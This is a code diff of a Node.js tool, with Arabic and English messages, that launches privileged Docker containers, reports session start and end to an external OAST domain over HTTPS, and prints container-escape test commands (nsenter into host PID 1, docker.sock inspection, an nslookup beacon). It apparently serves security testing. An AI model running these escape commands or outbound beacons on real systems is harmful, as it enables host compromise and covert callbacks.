- output: process.stdout
713
+ // إرسال إشعار الانتهاء
714
+ const endReq = https.request({
715
+ hostname: CONFIG.OAST.domain,
716
+ port: CONFIG.OAST.httpsPort,
717
+ path: '/simple-end',
718
+ method: 'POST',
719
+ headers: {
720
+ 'Content-Type': 'application/json',
721
+ 'X-Session-ID': sessionId
722
+ }
283
723
  });
284
724
 
285
- return new Promise((resolve) => {
286
- readline.question('\nاختر رقم الخيار: ', async (answer) => {
287
- switch(answer.trim()) {
288
- case '1':
289
- await this.getInteractiveShell();
290
- readline.close();
291
- await this.cleanup();
292
- resolve();
293
- break;
294
-
295
- case '2':
296
- readline.close();
297
- await this.cleanup();
298
- resolve();
299
- break;
300
-
301
- case '3':
302
- default:
303
- readline.close();
304
- console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
305
- console.log(` Container ID: ${this.containerId}`);
306
- console.log(' يمكنك تنظيفها يدوياً:');
307
- console.log(` docker stop ${this.containerId}`);
308
- console.log(` docker rm ${this.containerId}`);
309
- resolve();
310
- break;
311
- }
312
- });
313
- });
314
- }
725
+ endReq.write(JSON.stringify({
726
+ action: 'simple_container_end',
727
+ exitCode: code,
728
+ timestamp: new Date().toISOString()
729
+ }));
730
+ endReq.end();
731
+
732
+ console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
733
+ console.log(`🔑 Session ID: ${sessionId}`);
734
+ });
315
735
  }
316
736
 
317
- // ===================== النسخة المبسطة =====================
318
- function runSimplePrivilegedContainer() {
319
- console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
737
+ // ===================== INTERACTIVE VERSION =====================
738
+ function runInteractivePrivileged() {
739
+ console.log('🚀 Running interactive privileged container...\n');
740
+ console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
741
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
742
+
743
+ // إرسال إشعار البدء
744
+ const req = https.request({
745
+ hostname: CONFIG.OAST.domain,
746
+ port: CONFIG.OAST.httpsPort,
747
+ path: '/interactive-start',
748
+ method: 'POST',
749
+ headers: {
750
+ 'Content-Type': 'application/json',
751
+ 'X-Session-ID': CONFIG.OAST.sessionId
752
+ }
753
+ });
754
+
755
+ req.write(JSON.stringify({
756
+ action: 'interactive_container_start',
757
+ timestamp: new Date().toISOString(),
758
+ command: 'docker run --privileged -it ubuntu:latest /bin/bash'
759
+ }));
760
+ req.end();
761
+
762
+ // تشغيل الحاوية التفاعلية
763
+ console.log('💻 Starting interactive bash session...');
764
+ console.log(' You can test commands manually.');
765
+ console.log(' Try these commands to test escape:');
766
+ console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
767
+ console.log(' - cat /proc/1/status');
768
+ console.log(' - ls -la /var/run/docker.sock');
769
+ console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
320
770
 
321
771
  const dockerProcess = spawn('docker', [
322
- 'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
772
+ 'run',
773
+ '--privileged',
774
+ '-it',
775
+ '--name', `interactive-${CONFIG.OAST.sessionId}`,
776
+ CONFIG.DOCKER.image,
777
+ CONFIG.DOCKER.command
323
778
  ], {
324
779
  stdio: 'inherit'
325
780
  });
326
781
 
327
782
  dockerProcess.on('close', (code) => {
328
- console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
783
+ console.log(`\n🔚 Container exited with code: ${code}`);
784
+
785
+ // إرسال إشعار الانتهاء
786
+ const endReq = https.request({
787
+ hostname: CONFIG.OAST.domain,
788
+ port: CONFIG.OAST.httpsPort,
789
+ path: '/interactive-end',
790
+ method: 'POST',
791
+ headers: {
792
+ 'Content-Type': 'application/json',
793
+ 'X-Session-ID': CONFIG.OAST.sessionId
794
+ }
795
+ });
796
+
797
+ endReq.write(JSON.stringify({
798
+ action: 'interactive_container_end',
799
+ exitCode: code,
800
+ timestamp: new Date().toISOString()
801
+ }));
802
+ endReq.end();
803
+
804
+ // تنظيف
805
+ exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
806
+
807
+ console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
808
+ console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
329
809
  });
330
810
 
331
- // التعامل مع إشارات الإغلاق
811
+ // التعامل مع Ctrl+C
332
812
  process.on('SIGINT', () => {
333
- console.log('\n\n⚠️ تم استقبال Ctrl+C...');
813
+ console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
334
814
  dockerProcess.kill('SIGINT');
335
815
  });
336
816
  }
337
817
 
338
- // ===================== النسخة مع أوامر مسبقة =====================
339
- function runWithPredefinedCommands() {
340
- console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
341
-
342
- const commands = [
343
- 'echo "=== مرحباً من الحاوية المميزة ==="',
344
- 'cat /etc/os-release | grep PRETTY_NAME',
345
- 'uname -a',
346
- 'whoami',
347
- 'id',
348
- 'echo "=== الصلاحيات ==="',
349
- 'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
350
- 'echo "=== انتهى ==="',
351
- 'exit 0'
352
- ];
353
-
354
- const dockerProcess = spawn('docker', [
355
- 'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
356
- ]);
357
-
358
- dockerProcess.stdout.on('data', (data) => {
359
- console.log(data.toString());
360
- });
361
-
362
- dockerProcess.stderr.on('data', (data) => {
363
- console.error(data.toString());
364
- });
365
-
366
- dockerProcess.on('close', (code) => {
367
- console.log(`\n✅ انتهى مع الكود: ${code}`);
368
- });
369
- }
370
-
371
- // ===================== الوظيفة الرئيسية =====================
818
+ // ===================== MAIN FUNCTION =====================
372
819
  async function main() {
373
- console.log(`
374
- ╔══════════════════════════════════════════════════════════╗
375
- ║ تشغيل حاوية Docker مميزة ║
376
- ║ Privileged Container Runner ║
377
- ╚══════════════════════════════════════════════════════════╝
378
- `);
379
-
380
- console.log('📋 اختر طريقة التشغيل:');
381
- console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
382
- console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
383
- console.log(' 3. تشغيل متقدم مع تقرير كامل');
384
- console.log(' 4. خروج');
820
+ console.log('🎯 Choose scanning method:');
821
+ console.log(' 1. Full analysis with automated scanning and OAST reporting');
822
+ console.log(' 2. Simple container with basic OAST reporting');
823
+ console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
824
+ console.log(' 4. Exit');
385
825
 
386
826
  const readline = require('readline').createInterface({
387
827
  input: process.stdin,
388
828
  output: process.stdout
389
829
  });
390
830
 
391
- readline.question('\nاختر رقم: ', async (choice) => {
831
+ readline.question('\nSelect option: ', async (choice) => {
832
+ readline.close();
833
+
392
834
  switch(choice.trim()) {
393
835
  case '1':
394
- readline.close();
395
- runSimplePrivilegedContainer();
836
+ const scanner = new PrivilegedContainerScanner();
837
+ await scanner.run();
396
838
  break;
397
839
 
398
840
  case '2':
399
- readline.close();
400
- runWithPredefinedCommands();
841
+ runSimplePrivilegedWithOAST();
401
842
  break;
402
843
 
403
844
  case '3':
404
- readline.close();
405
- const runner = new PrivilegedContainerRunner();
406
- await runner.run();
845
+ runInteractivePrivileged();
407
846
  break;
408
847
 
409
848
  default:
410
- readline.close();
411
- console.log('👋 تم الخروج');
412
- break;
849
+ console.log('👋 Exiting');
850
+ process.exit(0);
413
851
  }
414
852
  });
415
853
  }
416
854
 
417
- // ===================== تشغيل مباشر من السطر =====================
855
+ // ===================== CHECK DOCKER =====================
418
856
  if (require.main === module) {
419
- // التحقق من تثبيت Docker
857
+ // التحقق من Docker
420
858
  exec('which docker', (error) => {
421
859
  if (error) {
422
- console.error('❌ Docker غير مثبت أو غير موجود في PATH');
423
- console.log(' يرجى تثبيت Docker أولاً:');
424
- console.log(' https://docs.docker.com/get-docker/');
860
+ console.error('❌ Docker is not installed or not in PATH');
425
861
  process.exit(1);
426
862
  }
427
863
 
428
- // التحقق من الصلاحيات
429
864
  exec('docker ps', (error) => {
430
865
  if (error && error.message.includes('permission denied')) {
431
- console.error('❌ ليس لديك صلاحيات تشغيل Docker');
432
- console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
433
- console.log(' sudo usermod -aG docker $USER');
434
- console.log(' ثم سجل الخروج وأدخل مرة أخرى');
866
+ console.error('❌ Permission denied for Docker');
867
+ console.log(' Try: sudo usermod -aG docker $USER');
868
+ console.log(' Then logout and login again');
435
869
  process.exit(1);
436
870
  }
437
871
 
872
+ console.log(`✅ Docker is available`);
873
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
874
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
875
+
438
876
  // بدء البرنامج
439
877
  main();
440
878
  });
441
879
  });
442
880
  }
443
881
 
444
- module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
882
+ module.exports = { PrivilegedContainerScanner, CONFIG };
Binary file
Binary file